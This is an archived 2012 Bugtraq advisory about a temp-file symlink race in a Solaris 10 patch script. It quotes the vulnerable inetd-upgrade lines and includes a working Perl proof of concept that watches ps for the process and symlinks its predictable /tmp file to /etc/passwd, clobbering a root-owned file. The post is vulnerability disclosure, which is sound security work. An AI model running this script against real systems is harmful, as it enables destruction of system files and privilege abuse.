bugtraq - Another Solaris 10 Patch Cluster Symlink Attack

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 09 Aug 2012 12:59:53 -0400
From: larry Cashdollar <larry0@...com>
To: bugtraq@...urityfocus.com
Subject: Another Solaris 10 Patch Cluster Symlink Attack

Larry W. Cashdollar
8/6/2012

Here is another symlink attack with temp file creation using process id in Solaris 10 patch cluster. You can over write the contents of root owned files with the contents of inetd.conf. 

In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade


lines : 
    72  inetdconf_entries_file=/tmp/iconf_entries.$$
    73
    74  # Create sed script that prints out inetd.conf src line from inetconv generated
    75  # manifest.
    76  cat <<EOF > /tmp/inetd-upgrade.$$.sed
    77  /propval name='source_line'/{
    78  n
    79  s/'//g
    80  p
    81  }
    82  /from the inetd.conf(4) format line/{
    83  n
    84  p
    85  }
    86  EOF


If 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

http://vapid.dhs.org/advisories
@lcashdol